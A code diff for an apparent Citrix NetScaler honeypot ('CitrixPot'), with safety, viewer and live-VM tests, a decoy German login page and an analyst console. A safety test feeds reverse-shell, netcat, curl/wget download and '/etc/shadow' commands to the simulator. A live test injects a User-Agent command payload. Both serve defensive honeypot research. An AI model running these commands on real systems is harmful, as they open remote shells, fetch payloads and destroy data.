(reset.ROOT / 'admin-ca.authorized').write_text(line + '\n')
target = reset.ROOT / 'authorized_keys'
target.write_text('existing-public-key\n')
def fake_qm(*args, **kwargs):
assert args[:3] == ('guest', 'exec', '223')
script = args[-1].replace('/root/.ssh/authorized_keys', str(target))
exec(script, {})
return '{"exited":1,"exitcode":0}'
reset.qm = fake_qm
reset.install_admin_ca()
reset.install_admin_ca()
assert target.read_text().splitlines() == ['existing-public-key', line]
assert target.stat().st_mode & 0o777 == 0o600
print('PASS: public-only certificate authorization survives reset without duplicate keys')
+71
View File
@@ -0,0 +1,71 @@
"""Run: python3 test_safety.py. Proves the simulator has no real-execution path."""
import os
import pathlib
import subprocess
import tempfile
from honeypot import Engine, simulate
# Static guarantee: the decoy module has no OS/exec/network/Eval primitives at all.
SOURCE = (pathlib.Path(__file__).parent / 'honeypot.py').read_text()
for forbidden in ('import subprocess', 'import socket', 'os.system', 'os.popen', 'os.exec',
'eval(', 'exec(', '__import__', 'pty.', 'ctypes'):
assert forbidden not in SOURCE, 'decoy module contains ' + forbidden
# Dynamic guarantee: even if these existed, nothing may call them.
calls = []
def tripwire(*args, **kwargs):
calls.append((args, kwargs))
raise AssertionError('real execution attempted')
saved = {}
for name in ('system', 'popen', 'fork', 'forkpty', 'spawnv', 'execv', 'execve', 'posix_spawn'):
if hasattr(os, name):
saved[name] = getattr(os, name)
setattr(os, name, tripwire)
for name in ('Popen', 'run', 'call', 'check_output', 'check_call'):
saved['subprocess.' + name] = getattr(subprocess, name)
setattr(subprocess, name, tripwire)
DANGEROUS = (
'rm -rf / --no-preserve-root',
'cat /etc/shadow',
'id>/root/pwned',
'echo owned > /tmp/pwned-by-attacker',
'curl http://203.0.113.9/x.sh -o /tmp/x.sh',
'wget http://203.0.113.9/payload -O /tmp/p',
'nc -e /bin/sh 203.0.113.9 4444',
'bash -c "sh -i >& /dev/tcp/203.0.113.9/4444 0>&1"',
'`id`',
'mkdir -p /var/www/shell; touch /var/www/shell/x.jsp',
)
marker = pathlib.Path(tempfile.gettempdir()) / 'pwned-by-attacker'
if marker.exists():
marker.unlink()
try:
events = []
engine = Engine(lambda event, **data: events.append(dict(event=event, **data)))
state = engine.session('198.51.100.7')
for command in DANGEROUS:
simulate(state, command, engine.emit)
engine.tick()
finally:
for name, original in saved.items():
if name.startswith('subprocess.'):
setattr(subprocess, name.split('.', 1)[1], original)
else:
setattr(os, name, original)
assert not calls, calls
assert not marker.exists(), 'a simulated command wrote a real file'
kinds = {e['event'] for e in events}
assert 'unsupported' in kinds or 'simulated_command' in kinds
outbound = [e for e in events if e['event'] == 'outbound_attempt']
assert outbound and all(e['disposition'] == 'recorded_only' for e in outbound)
# Virtual writes stay in memory only.
assert 'virtual_file_write' in kinds or 'unsupported' in kinds
print('PASS: simulation-only, no OS/exec/network calls, outbound recorded not performed')
+91
View File
@@ -0,0 +1,91 @@
"""Run: python3 test_viewer.py. Loopback-only read-only viewer checks; no third-party dependencies."""
import hashlib
import http.client
import http.server
import json
import pathlib
import tempfile
import threading
import viewer
def main():
with tempfile.TemporaryDirectory() as folder:
root = pathlib.Path(folder)
(root / 'artifacts').mkdir()
payload = b'\x00\xffcommand-output\x00'
sha = hashlib.sha256(payload).hexdigest()
(root / 'artifacts' / (sha + '.bin')).write_bytes(payload)
with (root / 'events.jsonl').open('w') as stream:
for event, peer, has_evidence in (('connection', '8.8.8.8', False),
('request', '1.1.1.1', False),
('simulated_command', '8.8.8.8', True)):
row = {'event': event, 'timestamp': '2026-09-28T00:00:00.000000+00:00', 'peer': peer,
'command': 'id > /netscaler/ns_gui/x'}
if has_evidence:
row['evidence'] = {'sha256': sha, 'bytes': len(payload)}
stream.write(json.dumps(row) + '\n')
stream.write('{not json\n')
server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), viewer.Handler)
server.journal = root / 'events.jsonl'
server.artifacts = root / 'artifacts'
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
def get(path):
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
connection.request('GET', path)
response = connection.getresponse()
result = response.status, response.read()
connection.close()
return result
def data(path):
return json.loads(get(path)[1])
try:
status, body = get('/')
assert status == 200 and b'CitrixPot' in body and b'full-text search' in body
all_events = data('/api/events?size=10')
assert all_events['scanned'] == 4 and len(all_events['events']) == 3
# newest first
assert all_events['events'][0]['event'] == 'simulated_command'
# pagination
page0 = data('/api/events?size=2&page=0')
page1 = data('/api/events?size=2&page=1')
assert len(page0['events']) == 2 and page0['has_more'] is True
assert len(page1['events']) == 1 and page1['has_more'] is False
assert page0['events'][0]['event'] == 'simulated_command'
# filters
assert len(data('/api/events?event=request')['events']) == 1
assert len(data('/api/events?q=simulated')['events']) == 1
assert len(data('/api/events?q=command')['events']) == 3
assert len(data('/api/events?peer=1.1.1.1')['events']) == 1
assert len(data('/api/events?payload=1')['events']) == 1
# multi-term full-text (all terms must match)
assert len(data('/api/events?q=id%20netscaler')['events']) == 3
assert len(data('/api/events?q=id%20nonexistent')['events']) == 0
# artifacts
status, body = get('/api/artifact/' + sha)
assert status == 200 and body == payload
status, body = get('/api/artifact/' + sha + '?inline=1')
assert status == 200 and b'command-output' in body
assert get('/api/artifact/not-a-hash')[0] == 404
assert get('/api/artifact/' + 'a' * 64)[0] == 404
assert get('/nope')[0] == 404
# hide operator IPs
server.hide_ips = {'8.8.8.8'}
hidden_on = data('/api/events?hide=1')
assert len(hidden_on['events']) == 1 and hidden_on['hidden'] == 1
hidden_off = data('/api/events?hide=0')
assert len(hidden_off['events']) == 3 and hidden_off['hidden'] == 0
finally:
server.shutdown()
server.server_close()
thread.join(3)
print('PASS: local read-only viewer: paged, filtered, multi-term search and inert artifacts')
if __name__ == '__main__':
main()
+107
View File
@@ -0,0 +1,107 @@
"""Run locally: fake SSH only; never runs received commands or guest.main."""
import base64
import json
import pathlib
import stat
import sys
import tempfile
import time
from evidence import EvidenceError
from honeypot import Engine
from vm_backend import VMBackend, LIMIT
def main():
with tempfile.TemporaryDirectory() as directory:
root = pathlib.Path(directory)
fake = root / 'transport.py'
fake.write_text('''import sys,json,base64
r=json.loads(sys.stdin.readline())
if r.get('command') == 'invalid-event':
print(json.dumps({'event':'response','base64':base64.b64encode(b'bad').decode()}))
else:
print(json.dumps({'event':'guest_stdout', 'peer':'forged', 'request_id':'forged',
'telemetry_trust':'trusted', 'evidence':{'path':'/forged'},
'base64':r.get('base64',base64.b64encode(b'fixture').decode())}))
''')
config = root / 'config.json'
config.write_text(json.dumps(dict(host='192.0.2.1', vmid=223, identity='/unused', known_hosts='/unused',
allowed_peers=str(root / 'peers.json'), stop_file=str(root / 'STOP'))))
events = []
engine = Engine(lambda event, **data: events.append(dict(event=event, **data)), delay=0)
backend = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data)))
# Only test fixtures run locally. Production constructs SSH argv with a fixed remote command.
assert backend.ssh[-1] == 'python3 /opt/decoy/guest.py' and backend.ssh[0] == 'ssh'
assert 'StrictHostKeyChecking=yes' in backend.ssh
backend.ssh = [sys.executable, str(fake)]
ctx = dict(peer='198.51.100.4', request_id='request-one', session='session-one')
payload = b'\x00\xff' * (1024 * 1024) # proves upload beyond old 131k request limit
backend.upload(payload, ctx)
row = events[-1]
assert row['content'] == payload and row['peer'] == ctx['peer']
assert row['request_id'] == ctx['request_id'] and row['telemetry_trust'] == 'guest-reported'
assert 'evidence' not in row and row['guest_shared']
assert backend.read('/netscaler/ns_gui/marker', ctx) == b'fixture'
try:
backend.upload(b'x' * (LIMIT + 1), ctx)
raise AssertionError('upload cap')
except ValueError:
pass
try:
list(backend.records(dict(action='execute', command='invalid-event'), ctx))
raise AssertionError('guest event whitelist')
except ValueError:
pass
for i in range(130):
backend.register_peer('198.51.100.' + str(i))
peers = json.loads((root / 'peers.json').read_text())
assert len(peers) == 128 and peers[-1] == '198.51.100.129'
assert stat.S_IMODE((root / 'peers.json').stat().st_mode) == 0o600
backend.register_peer('::1')
assert json.loads((root / 'peers.json').read_text()) == peers
# Mode dispatch with an inert transport: source/request context survives the delayed queue.
engine.backend = backend
state = engine.session(ctx['peer'])
marker = root / 'must-not-exist'
state.pending.append((0, 'echo fixture > ' + str(marker), ctx))
engine.tick()
deadline = time.monotonic() + 3
while backend.threads and time.monotonic() < deadline:
time.sleep(.01)
assert not backend.threads and not marker.exists()
assert any(e['event'] == 'execution_start' and e['request_id'] == 'request-one' for e in events)
assert not any(e['event'] == 'simulated_command' for e in events)
# A full evidence store latches STOP, calls server failure hook, and disables new transport.
failures = []
def fail_emit(*args, **kwargs):
raise EvidenceError('test quota')
backend.emit = fail_emit
backend.on_failure = failures.append
try:
backend.read('/netscaler/ns_gui/marker', ctx)
raise AssertionError('evidence failure swallowed')
except EvidenceError:
pass
assert backend.closed and (root / 'STOP').exists() and failures
assert not backend.active
# Losing execution telemetry must latch STOP even when the evidence sink still works.
config_data = json.loads(config.read_text())
config_data['stop_file'] = str(root / 'STOP-transport')
config.write_text(json.dumps(config_data))
broken = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data)))
broken.ssh = [sys.executable, str(fake)]
broken.on_failure = failures.append
broken.execute('invalid-event', ctx)
deadline = time.monotonic() + 3
while broken.threads and time.monotonic() < deadline:
time.sleep(.01)
assert broken.closed and (root / 'STOP-transport').exists()
assert any(e['event'] == 'execution_error' for e in events)
# Guest entrypoint is inert on non-guest systems (no import side effects).
import guest
assert guest.ACTIVE is None
print('PASS: bounded fake SSH, large upload, guest sanitization, mode dispatch, correlation, allowlist, fail-closed')
if __name__ == '__main__':
main()
+139
View File
@@ -0,0 +1,139 @@
#!/usr/bin/env python3
"""Harmless VM integration check. Run ONLY on the dedicated collector after containment is ready."""
import argparse
import hashlib
import http.client
import pathlib
import secrets
import tempfile
import threading
import time
from evidence import Evidence
from honeypot import Engine, Server
from vm_backend import VMBackend
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--vm-config', required=True)
args = parser.parse_args()
marker = pathlib.Path('/etc/decoy-collector')
if not marker.is_file() or marker.is_symlink():
raise SystemExit('Refusing live test outside dedicated collector')
token = secrets.token_hex(8)
with tempfile.TemporaryDirectory(prefix='decoy-live-') as folder:
evidence = Evidence(folder, quota=512 * 1024 * 1024)
rows = []
def sink(event, **data):
evidence.emit(event, **data)
rows.append(dict(event=event, **data))
engine = Engine(sink, delay=0, save=evidence.save)
backend = VMBackend(args.vm_config, engine.emit)
engine.backend = backend
# Test-only HTTP traffic must not overwrite the production reverse-peer authorization file.
backend.register_peer = lambda peer: None
server = Server(('127.0.0.1', 0), engine)
backend.on_failure = server.stop_capture
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
def payload(row):
return (pathlib.Path(folder) / row['evidence']['artifact']).read_bytes()
def run(command):
request_id = secrets.token_hex(16)
ctx = dict(request_id=request_id, peer='192.0.2.42', peer_port=12345)
with engine.lock:
state = engine.session(ctx['peer'])
ctx['session'] = state.sid
state.pending.append((0, command, ctx))
engine.tick()
deadline = time.monotonic() + 20
while time.monotonic() < deadline:
result = [r for r in rows if r.get('request_id') == request_id]
if any(r['event'] in ('execution_error', 'guest_execution_limit') for r in result):
raise AssertionError('guest execution failed: ' + request_id)
if any(r['event'] == 'execution_end' for r in result):
assert all(r.get('peer') == '192.0.2.42' and r.get('session') == state.sid for r in result)
assert all(r.get('execution_id') for r in result)
return b''.join(payload(r) for r in result if r['event'] == 'guest_stdout'), result
time.sleep(.05)
raise AssertionError('live command did not complete within20s')
def request(method, path, body=None, headers=None):
conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=25)
try:
conn.request(method, path, body, headers or {})
response = conn.getresponse()
return response.status, response.read()
finally:
conn.close()
try:
path = '/netscaler/ns_gui/live-' + token + '.txt'
output, result = run('id > ' + path + '; sleep 1; cat ' + path)
assert b'uid=0(root)' in output
captured = [r for r in result if r['event'] == 'guest_file_version' and r.get('path') == path]
assert captured and b'uid=0(root)' in payload(captured[-1])
ctx = dict(request_id='read-' + token, peer='192.0.2.42', session='live-test')
assert b'uid=0(root)' in backend.read(path, ctx)
status, body = request('GET', '/live-' + token + '.txt')
assert status == 200 and b'uid=0(root)' in body
# Harmless User-Agent log-poisoning shape from the public write-up; loopback decoy only.
ua_path = '/netscaler/ns_gui/ua-' + token + '.txt'
ua = 'pitboss PPE unexpectedly died NSPPE;:`id>' + ua_path + '`;# X'
assert request('GET', '/', headers={'User-Agent': ua})[0] == 200
candidate = next(r for r in reversed(rows) if r['event'] == 'injection_candidate')
assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua
assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0
assert request('GET', '/ua-' + token + '.txt')[0] == 404
engine.tick()
deadline = time.monotonic() + 20
while time.monotonic() < deadline:
matching = [r for r in rows if r.get('request_id') == candidate['request_id']]
if any(r['event'] == 'execution_error' for r in matching):
raise AssertionError('User-Agent guest execution failed')
if any(r['event'] == 'execution_end' for r in matching):
break
time.sleep(.05)
else:
raise AssertionError('User-Agent execution timeout')
start = next(r for r in matching if r['event'] == 'execution_start')
assert start['command'] == 'id>' + ua_path
assert all(start[k] == candidate[k] for k in ('request_id', 'session', 'peer', 'peer_port'))
status, body = request('GET', '/ua-' + token + '.txt')
assert status == 200 and b'uid=0(root)' in body
binary = b'\x00\xffinert-live-upload-' + token.encode()
digest = hashlib.sha256(binary).hexdigest()
multipart = (b'--boundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n'
b'Content-Type: application/octet-stream\r\n\r\n' + binary + b'\r\n--boundary--\r\n')
assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=boundary'})[0] == 404
upload = next(r for r in rows if r['event'] == 'upload')
assert upload['filename'] == '../../escape.bin' and payload(upload) == binary
materialized = next(r for r in rows if r['event'] == 'guest_upload')
assert materialized['path'] == '/var/tmp/uploads/' + digest + '.bin'
assert materialized['request_id'] == upload['request_id'] and materialized['peer'] == '127.0.0.1'
output, _ = run('sha256sum /var/tmp/uploads/' + digest + '.bin')
assert output.startswith(digest.encode())
run('ln -s /etc/passwd /netscaler/ns_gui/link-' + token)
assert request('GET', '/link-' + token)[0] == 404
endpoints = [('192.0.2.10', 22), ('198.51.100.10', 22), ('169.254.169.254', 80),
('10.0.2.2', 22), ('203.0.113.1', 25)]
# Bypass guest NAT via relay UID: prove QEMU restrict blocks direct egress even if guest root disables interception.
commands = []
for host, port in endpoints:
endpoint = host + ':' + str(port)
commands.append("if runuser -u decoy-relay -- timeout 2 bash -c 'echo probe >/dev/tcp/" + host + '/' + str(port)
+ "' 2>/dev/null; then echo UNEXPECTED_ALLOWED " + endpoint
+ '; else echo BLOCKED ' + endpoint + '; fi')
output, _ = run('; '.join(commands))
assert b'UNEXPECTED_ALLOWED' not in output
assert all(('BLOCKED ' + h + ':' + str(p)).encode() in output for h, p in endpoints)
run('rm -f ' + path + ' ' + ua_path + ' /netscaler/ns_gui/link-' + token + ' /var/tmp/uploads/' + digest + '.bin')
print('PASS: real root command, offguest file/stdout evidence, HTTP file, User-Agent trigger, binary multipart, source correlation, symlink refusal, five denied egress probes')
finally:
backend.close()
server.shutdown()
server.server_close()
thread.join(timeout=3)
evidence.close()
if __name__ == '__main__':
main()
+55
View File
@@ -0,0 +1,55 @@
"""Bounded PROXY-v1 parser and trusted reverse-proxy client-IP extraction."""
import ipaddress
CLIENT_HEADERS = ('CF-Connecting-IP', 'True-Client-IP', 'X-Real-IP')
def public_ip(value):
"""Return a normalized global client IP, or None for private/spoofed values."""
try:
ip = ipaddress.ip_address(value.strip())
except (ValueError, AttributeError):
return None
if not ip.is_global or ip.is_multicast:
return None
return str(ip)
def forwarded_client(headers):
"""Real client IP from a trusted proxy. Priority: single-hop headers, then nearest XFF hop."""
for name in CLIENT_HEADERS:
value = headers.get(name)
if value:
ip = public_ip(value)
if ip:
return ip, name
for hop in reversed((headers.get('X-Forwarded-For') or '').split(',')):
ip = public_ip(hop)
if ip:
return ip, 'X-Forwarded-For'
return None, None
def source(connection, transport, trusted):
if transport[0] != trusted:
raise ValueError('untrusted PROXY transport')
header = bytearray()
while len(header) < 108:
value = connection.recv(1)
if not value:
raise ValueError('incomplete PROXY header')
header.extend(value)
if header.endswith(b'\r\n'):
break
else:
raise ValueError('oversize PROXY header')
fields = header.decode('ascii').strip().split(' ')
if len(fields) != 6 or fields[0] != 'PROXY' or fields[1] not in ('TCP4', 'TCP6'):
raise ValueError('invalid PROXY header')
version = 4 if fields[1] == 'TCP4' else 6
if any(ipaddress.ip_address(ip).version != version for ip in fields[2:4]):
raise ValueError('PROXY address family mismatch')
ports = [int(value) for value in fields[4:]]
if any(not 0 < port <= 65535 for port in ports):
raise ValueError('invalid PROXY port')
return (fields[2], ports[0]), bytes(header)
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

+64
View File
@@ -0,0 +1,64 @@
<!doctype html>
<html lang="de">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>NetScaler AAA</title>
<link rel="icon" href="/logon/LogonPoint/receiver/images/common/icon_vpn.ico" sizes="16x16 32x32 48x48 64x64" type="image/vnd.microsoft.icon">
<link rel="shortcut icon" href="/logon/LogonPoint/receiver/images/common/icon_vpn.ico" type="image/vnd.microsoft.icon">
<style>
* { box-sizing: border-box; }
html, body { min-height: 100%; margin: 0; }
body { background: #302c41 url('/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg') center / cover fixed;
font-family: "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; color: #fff; }
main { min-height: 100vh; display: flex; align-items: center; }
.band { width: 100%; min-height: 350px; background: rgba(58, 54, 65, .86); display: flex; align-items: center; }
.layout { width: min(1086px, calc(100% - 64px)); margin: auto; display: grid; grid-template-columns: 258px 570px; align-items: center; }
.logo { width: 160px; height: auto; }
h1 { font-size: 18px; font-weight: 400; margin: 0 0 18px; }
.row { display: grid; grid-template-columns: 185px 1fr; align-items: center; margin-bottom: 6px; }
label { color: #bdbbc2; font-size: 16px; }
input { width: 100%; height: 44px; border: 1px solid #ddd; background: white; color: #111; border-radius: 0; padding: 8px 15px; font: inherit; }
input:focus-visible { outline: 2px solid #79cce2; outline-offset: 2px; }
button { display: block; width: calc(100% - 185px); margin: 26px 0 0 185px; height: 45px; border: 0; border-radius: 0;
background: #49a0bb; color: white; font: 600 16px "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; cursor: pointer; }
button:hover { background: #398aa4; }
button:focus-visible { outline: 2px solid white; outline-offset: 3px; }
button:disabled { cursor: wait; opacity: .75; }
#message { margin: 12px 0 0 185px; font-size: 14px; color: #fff; }
#message:empty { display: none; }
@media (max-width: 950px) {
.layout { width: min(570px, calc(100% - 48px)); display: block; padding: 40px 0; }
.logo { margin-bottom: 28px; }
}
@media (max-width: 540px) {
.row { display: block; margin-bottom: 16px; }
label { display: block; margin-bottom: 7px; }
button { width: 100%; margin-left: 0; }
#message { margin-left: 0; }
}
</style>
<script src="/vpn/js/rdx.js"></script>
<script src="/vpn/js/gateway_login_view.js"></script>
<script src="/logon/LogonPoint/login.js" defer></script>
<script>var _ctxstxt_CitrixCopyright = 'Copyright (c) Citrix Systems, Inc.';</script>
</head>
<body>
<main>
<section class="band" aria-label="Citrix Gateway">
<div class="layout">
<img class="logo" src="/vpn/media/citrixgateway_logo_white.png" alt="Citrix Gateway">
<form id="login-form" method="post" action="/nf/auth/doAuthentication.do" autocomplete="off">
<h1>Melden Sie sich an</h1>
<div class="row"><label for="login">Benutzername:</label><input id="login" name="login" required autofocus autocomplete="off" spellcheck="false"></div>
<div class="row"><label for="passwd">Kennwort:</label><input id="passwd" name="passwd" type="password" required autocomplete="off"></div>
<input type="hidden" name="savecredentials" value="false">
<button id="nsg-x1-logon-button" name="nsg-x1-logon-button" value="Log On" type="submit">Anmelden</button>
<p id="message" role="status" aria-live="polite"></p>
</form>
</div>
</section>
</main>
</body>
</html>
+24
View File
@@ -0,0 +1,24 @@
'use strict';
const form = document.getElementById('login-form');
const button = document.getElementById('nsg-x1-logon-button');
const message = document.getElementById('message');
form.addEventListener('submit', async event => {
event.preventDefault();
button.disabled = true;
message.textContent = '';
try {
const body = new URLSearchParams(new FormData(form));
body.set('nsg-x1-logon-button', 'Log On');
const response = await fetch('/nf/auth/doAuthentication.do', {
method: 'POST', body, credentials: 'same-origin', redirect: 'error',
signal: AbortSignal.timeout(10000)
});
if (!response.ok) throw new Error('Request failed');
message.textContent = 'Anmeldung fehlgeschlagen. Überprüfen Sie Ihre Zugangsdaten.';
} catch {
message.textContent = 'Die Anmeldung ist derzeit nicht möglich. Versuchen Sie es erneut.';
} finally {
form.elements.passwd.value = '';
button.disabled = false;
}
});
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

+19
View File
@@ -0,0 +1,19 @@
{
"retrieved": "2026-09-28",
"reference": "public Citrix Gateway (NetScaler) login page static assets, retrieved 2026-09-28",
"assets": {
"background.jpg": {
"sha256": "17197024d7ccdb50bd23b0e4cfcd38bf818f0c1644795474460bb1b5c95906d5",
"bytes": 50806
},
"logo.png": {
"sha256": "4a2cae9a9c5a586f2bd5dc6140e34cac6b18be6b617c602a4a48321452c18c1c",
"bytes": 2300
},
"favicon.ico": {
"sha256": "80c297534c925e1973052b72584a929a0b68c988bfcde7c1728ad72fc1f3e039",
"bytes": 32038
}
},
"note": "Original public static images; HTML and JS locally implemented. No upstream auth or session tokens retained."
}
+309
View File
@@ -0,0 +1,309 @@
#!/usr/bin/env python3
"""Read-only local evidence viewer. Never exposed to attacker traffic; loopback by default."""
import argparse
import http.server
import ipaddress
import json
import os
import pathlib
import re
import threading
import time
import urllib.parse
from env_file import load, env_int
PAGE = r'''<!doctype html>
<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow"><title>CitrixPot analyst console</title>
<style>
:root{color-scheme:dark}*{box-sizing:border-box}
body{margin:0;font:12.5px/1.45 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif;background:#0b0e13;color:#d7dce3}
header{position:sticky;top:0;background:#121722;border-bottom:1px solid #222c3a;padding:8px 12px;display:flex;gap:8px;align-items:center;flex-wrap:wrap;z-index:5}
h1{font-size:13px;margin:0 8px 0 0;font-weight:700;color:#fff;letter-spacing:.3px}
input,select,button{background:#0b0e13;color:#d7dce3;border:1px solid #2c3646;border-radius:6px;padding:5px 8px;font:inherit}
input#q{min-width:300px}button{cursor:pointer}button:hover:not(:disabled){border-color:#4b5a6b}button:disabled{opacity:.4;cursor:default}
.pill{font-size:11px;color:#9aa7b6;background:#17202c;border-radius:999px;padding:3px 9px;display:inline-flex;gap:5px;align-items:center}
main{display:grid;grid-template-columns:minmax(420px,1fr) minmax(460px,1.1fr);height:calc(100vh - 50px)}
#list{overflow:auto;border-right:1px solid #222c3a}
table{border-collapse:collapse;width:100%;table-layout:fixed}
th,td{text-align:left;padding:5px 9px;border-bottom:1px solid #161c25;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
th{position:sticky;top:0;background:#121722;color:#8896a6;font-weight:600;z-index:1;font-size:11px;text-transform:uppercase;letter-spacing:.4px}
tr{cursor:pointer}tr:hover{background:#141b25}tr.sel{background:#1b2736}
td.t{color:#78869a;width:98px}td.e{font-weight:600;color:#6fb6d8;width:150px}td.p{color:#9aa7b6;width:128px}
#detail{overflow:auto;padding:12px 14px}
#detail h2{font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:#8896a6;margin:14px 0 6px;border-bottom:1px solid #222c3a;padding-bottom:4px}
pre{white-space:pre-wrap;word-break:break-all;background:#070a0e;border:1px solid #222c3a;border-radius:8px;padding:10px;font:12px/1.5 ui-monospace,SFMono-Regular,Menlo,monospace;margin:0;max-height:46vh;overflow:auto}
a{color:#6fb6d8}#artbar{display:flex;gap:6px;align-items:center;flex-wrap:wrap;margin-bottom:6px}
@media(max-width:980px){main{grid-template-columns:1fr}#detail{display:none}}
</style></head><body>
<header>
<h1>CitrixPot</h1>
<input id="q" placeholder="full-text search: all terms must match (command, path, header, filename, IP...)">
<select id="event"><option value="">all events</option></select>
<input id="peer" placeholder="peer IP" style="width:110px">
<label class="pill"><input type="checkbox" id="payload"> payloads only</label>
<label class="pill"><input type="checkbox" id="hide" checked> hide our IPs</label>
<label class="pill"><input type="checkbox" id="live" checked> live</label>
<select id="size"><option>50</option><option selected>100</option><option>250</option><option>500</option></select>
<button id="prev" disabled>&larr; prev</button>
<span class="pill" id="page">page 1</span>
<button id="next">next &rarr;</button>
<button id="reload">refresh</button>
<span class="pill" id="stats"></span>
</header>
<main>
<div id="list"><table><thead><tr><th>time (UTC)</th><th>event</th><th>peer</th><th>summary</th></tr></thead><tbody id="rows"></tbody></table></div>
<div id="detail"><p id="meta2" class="pill">Select an event</p>
<div id="art"><h2>Payload</h2><pre>no payload in this event</pre></div>
<h2>Raw event</h2><pre id="json">-</pre></div>
</main>
<script>
'use strict';
const rows=document.getElementById('rows'),jsonBox=document.getElementById('json'),art=document.getElementById('art');
let current=[],selected=-1,payloadBytes=null,page=0,hasMore=false;
const esc=s=>String(s??'').replace(/[&<>"]/g,c=>({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;'}[c]));
const FIELDS=['command','argv','path','uri','filename','destination_ip','status','resource','reason','name','socket','value'];
function summary(e){for(const k of FIELDS){if(e[k]!=null)return esc(Array.isArray(e[k])?e[k].join(' '):e[k]);}
if(Array.isArray(e.headers)){const ua=e.headers.find(x=>String(x[0]).toLowerCase()==='user-agent');if(ua)return esc(ua[1]);}
if(e.error)return esc(e.error);return '';}
function render(list){
rows.innerHTML=list.map((e,i)=>`<tr data-i="${i}"><td class="t">${esc((e.timestamp||'').slice(11,23))}</td><td class="e">${esc(e.event)}</td><td class="p">${esc(e.peer||'')}</td><td>${summary(e)}</td></tr>`).join('');
document.querySelectorAll('#rows tr').forEach(tr=>tr.onclick=()=>select(+tr.dataset.i));
const kinds=[...new Set(list.map(e=>e.event))].sort();
const sel=document.getElementById('event'),keep=sel.value;
for(const k of kinds)if(![...sel.options].some(o=>o.value===k))sel.insertAdjacentHTML('beforeend',`<option>${esc(k)}</option>`);
sel.value=keep;
const counts={};for(const e of list)counts[e.event]=(counts[e.event]||0)+1;
document.getElementById('stats').textContent=`${list.length} rows · scanned ${lastScanned} · hiding ${lastHidden} our IPs · ${counts['injection_candidate']||0} inj · ${counts['brute_force_suspected']||0} bf`;
}
let lastScanned=0,lastHidden=0;
function printable(bytes){if(!bytes.length)return true;let p=0;for(const c of bytes){if(c===9||c===10||c===13||(c>=32&&c<127)||c>=160)p++;}return p/bytes.length>0.9;}
function hexdump(bytes,max){let out='';for(let o=0;o<Math.min(bytes.length,max);o+=16){let hex='',asc='';
for(let j=0;j<16;j++){if(o+j<bytes.length){const c=bytes[o+j];hex+=c.toString(16).padStart(2,'0')+' ';asc+=c>=32&&c<127?String.fromCharCode(c):'.';}else hex+=' ';}
out+=o.toString(16).padStart(8,'0')+' '+hex+' |'+asc+'|\n';}
if(bytes.length>max)out+=`\n... ${bytes.length-max} more bytes (download for full)`;return out;}
function showPayload(mode){if(payloadBytes===null)return;const b=document.getElementById('pbody');if(!b)return;
if(mode==='hex')b.textContent=hexdump(payloadBytes,65536);
else if(printable(payloadBytes))b.textContent=new TextDecoder().decode(payloadBytes.slice(0,262144));
else b.textContent='(binary; showing hex)\n\n'+hexdump(payloadBytes,65536);}
async function loadPayload(sha){payloadBytes=null;
const r=await fetch('/api/artifact/'+sha+'?inline=1');
if(!r.ok){art.innerHTML='<h2>Payload</h2><pre>artifact unavailable</pre>';return;}
payloadBytes=new Uint8Array(await r.arrayBuffer());
art.innerHTML=`<h2>Payload</h2><div id="artbar"><span class="pill">${payloadBytes.length} bytes · ${sha.slice(0,16)}…</span>
<button onclick="showPayload('text')">text</button><button onclick="showPayload('hex')">hex</button>
<a class="pill" href="/api/artifact/${sha}">download</a></div><pre id="pbody"></pre>`;
showPayload(printable(payloadBytes)?'text':'hex');}
function select(i){selected=i;
document.querySelectorAll('#rows tr').forEach(tr=>tr.classList.toggle('sel',+tr.dataset.i===i));
const e=current[i];
document.getElementById('meta2').textContent=[e.event,e.timestamp,e.peer,e.source].filter(Boolean).join(' · ');
jsonBox.textContent=JSON.stringify(e,null,2);
if(e.evidence&&e.evidence.sha256)loadPayload(e.evidence.sha256);
else{payloadBytes=null;art.innerHTML='<h2>Payload</h2><pre>no payload in this event</pre>';}}
async function load(){
const p=new URLSearchParams({q:document.getElementById('q').value,event:document.getElementById('event').value,
peer:document.getElementById('peer').value,payload:document.getElementById('payload').checked?'1':'0',
hide:document.getElementById('hide').checked?'1':'0',
size:document.getElementById('size').value,page:page});
const r=await fetch('/api/events?'+p);const d=await r.json();
current=d.events;lastScanned=d.scanned;lastHidden=d.hidden;hasMore=d.has_more;render(current);
document.getElementById('page').textContent='page '+(page+1);
document.getElementById('prev').disabled=page<=0;
document.getElementById('next').disabled=!hasMore;}
function reset(){page=0;load();}
document.getElementById('reload').onclick=reset;
document.getElementById('prev').onclick=()=>{if(page>0){page--;load();}};
document.getElementById('next').onclick=()=>{if(hasMore){page++;load();}};
document.getElementById('q').addEventListener('keydown',e=>{if(e.key==='Enter')reset();});
document.getElementById('peer').addEventListener('keydown',e=>{if(e.key==='Enter')reset();});
document.getElementById('event').onchange=reset;
document.getElementById('payload').onchange=reset;
